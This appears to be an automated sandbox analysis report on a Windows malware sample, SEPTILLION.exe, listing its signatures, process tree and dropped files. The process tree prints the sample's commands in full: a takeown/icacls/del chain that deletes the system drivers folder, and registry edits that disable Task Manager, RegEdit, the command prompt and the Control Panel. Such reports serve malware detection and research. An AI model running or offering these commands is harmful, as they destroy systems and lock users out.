Analysis

  • max time kernel
    46s
  • max time network
    35s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240730-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/08/2024, 22:09

Errors

Reason
Machine shutdown

General

  • Target
    SEPTILLION.exe
  • Size 2.0MB
  • Sample240801-121jnaydpm
  • SHA256 54897980815cdda2fa774322f84bbe5576afedef9b0ef7206298291dec678f48
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Possible privilege escalation attempt 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Modifies file permissions 1 TTPs 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 1 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SEPTILLION.exe
    "C:\Users\Admin\AppData\Local\Temp\SEPTILLION.exe"
    1⤵
    • Checks computer location settings
    • Drops file in System32 directory
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of WriteProcessMemory
    PID:2876
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k takeown /f c:\windows\system32\drivers\* && icacls c:\windows\system32\drivers\* /grant Everyone:(F) && del /s /q /f c:\windows\system32\drivers && exit
      2⤵
      • Drops file in Drivers directory
      • Suspicious use of WriteProcessMemory
      PID:1052
      • C:\Windows\system32\takeown.exe
        takeown /f c:\windows\system32\drivers\*
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:3076
      • C:\Windows\system32\icacls.exe
        icacls c:\windows\system32\drivers\* /grant Everyone:(F)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4880
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "c:\windows\system32\WindowsSecurityIcon.png" /f
      2⤵
      • Sets desktop wallpaper using registry
      PID:4252
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      2⤵
        PID:1852
      • C:\Windows\System32\reg.exe
        "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 2 /f
        2⤵
          PID:4968
        • C:\Windows\System32\reg.exe
          "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallpaper /t REG_DWORD /d 1 /f
          2⤵
            PID:1252
          • C:\Windows\System32\reg.exe
            "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
            2⤵
              PID:4516
            • C:\Windows\System32\reg.exe
              "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
              2⤵
                PID:1372
              • C:\Windows\System32\reg.exe
                "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
                2⤵
                  PID:4828
                • C:\Windows\System32\reg.exe
                  "C:\Windows\System32\reg.exe" add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
                  2⤵
                  • Disables RegEdit via registry modification
                  PID:4420
                • C:\Windows\System32\notepad.exe
                  "C:\Windows\System32\notepad.exe" c:\windows\system32\note.txt
                  2⤵
                  • Opens file in notepad (likely ransom note)
                  PID:3604
                • C:\Windows\System32\taskkill.exe
                  "C:\Windows\System32\taskkill.exe" /f /im notepad.exe
                  2⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1132
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wininit.exe
                  2⤵
                    PID:4372
                    • C:\Windows\system32\wininit.exe
                      "C:\Windows\system32\wininit.exe"
                      3⤵
                        PID:1104
                  • C:\Windows\System32\rundll32.exe
                    C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {24AC8F2B-4D4A-4C17-9607-6A4B14068F97} -Embedding
                    1⤵
                      PID:2904

                    Network

                          MITRE ATT&CK Enterprise v15

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                          Downloads

                          __PSScriptPolicyTest_fj1kezc5.o1t.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fj1kezc5.o1t.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512

                          note.txt

                          • Path \??\c:\windows\system32\note.txt
                          • Size 103B
                          • SHA256 57d57023a94931f62d3f5d1a72c93708db78f30117e50a8497826b5b95d3babb
                          • MD5 SHA1 SHA512

                          memory/2876-0-0x00007FF779220000-0x00007FF7794F2000-memory.dmp

                          memory/2876-3-0x00007FF779220000-0x00007FF7794F2000-memory.dmp

                          memory/2876-4-0x00007FF779220000-0x00007FF7794F2000-memory.dmp

                          memory/4372-7-0x00000288C8DB0000-0x00000288C8DD2000-memory.dmp